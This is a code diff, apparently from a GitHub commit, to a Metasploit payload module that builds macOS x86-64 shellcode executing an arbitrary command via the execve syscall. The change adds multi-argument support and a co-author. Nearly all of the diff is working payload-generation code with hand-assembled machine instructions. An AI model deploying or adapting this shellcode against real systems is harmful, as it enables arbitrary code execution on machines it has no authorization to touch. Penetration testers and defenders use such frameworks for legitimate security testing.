@@ -16,33 +16,47 @@ def initialize(info = {})
16
16
super ( merge_info ( info ,
17
17
'Name' => 'OS X x64 Execute Command' ,
18
18
'Description' => 'Execute an arbitrary command' ,
19
- 'Author' => 'argp <argp[at]census-labs.com>' ,
19
+ 'Author' => [ 'argp <argp[at]census-labs.com>' ,
20
+ 'joev <jvennix[at]rapid7.com>' ] ,
20
21
'License' => MSF_LICENSE ,
21
22
'Platform' => 'osx' ,
22
23
'Arch' => ARCH_X86_64
23
24
) )
24
25
25
26
# exec payload options
26
- register_options (
27
- [
28
- OptString . new ( 'CMD' , [ true , "The command string to execute" ] ) ,
27
+ register_options ( [
28
+ OptString . new ( 'CMD' , [ true , "The command string to execute" ] )
29
29
] , self . class )
30
30
end
31
31
32
32
# build the shellcode payload dynamically based on the user-provided CMD
33
33
def generate
34
- cmd = ( datastore [ 'CMD' ] || '' ) << "\x00 "
35
- call = "\xe8 " + [ cmd . length ] . pack ( 'V' )
34
+ cmd_str = datastore [ 'CMD' ] || ''
35
+ # Split the cmd string into arg chunks
36
+ cmd_parts = Shellwords . shellsplit ( cmd_str )
37
+ cmd_parts = ( [ cmd_parts . first ] + ( cmd_parts [ 1 ..-1 ] || [ ] ) . reverse ) . compact
38
+ arg_str = cmd_parts . map { |a | "#{ a } \x00 " } . join
39
+ call = "\xe8 " + [ arg_str . length ] . pack ( 'V' )
36
40
payload =
37
41
"\x48 \x31 \xc0 " + # xor rax, rax
38
- "\x48 \xb8 \x3b \x00 \x00 \x02 \x00 \x00 \x00 \x00 " + # mov rax, 0x200003b (execve)
39
42
call + # call CMD.len
40
- cmd + # CMD
41
- "\x48 \x8b \x3c \x24 " + # mov rdi, [rsp]
42
- "\x48 \x31 \xd2 " + # xor rdx, rdx
43
- "\x52 " + # push rdx
44
- "\x57 " + # push rdi
45
- "\x48 \x89 \xe6 " + # mov rsi, rsp
43
+ arg_str + # CMD
44
+ "\x5f " + # pop rdi
45
+ if cmd_parts . length > 1
46
+ "\x48 \x89 \xf9 " + # mov rcx, rdi
47
+ "\x50 " + # push null
48
+ # for each arg, push its current memory location on to the stack
49
+ cmd_parts [ 1 ..-1 ] . each_with_index . map do |arg , idx |
50
+ "\x48 \x81 \xc1 " + # add rcx + ...
51
+ [ cmd_parts [ idx ] . length +1 ] . pack ( 'V' ) + #
52
+ "\x51 " # push rcx (build str array)
53
+ end . join
54
+ else
55
+ "\x50 " # push null
56
+ end +
57
+ "\x57 " + # push rdi
58
+ "\x48 \x89 \xe6 " + # mov rsi, rsp
59
+ "\x48 \xc7 \xc0 \x3b \x00 \x00 \x02 " + # mov rax, 0x200003b (execve)
46
60
"\x0f \x05 " # syscall
47
61
end
48
62
end
0 commit comments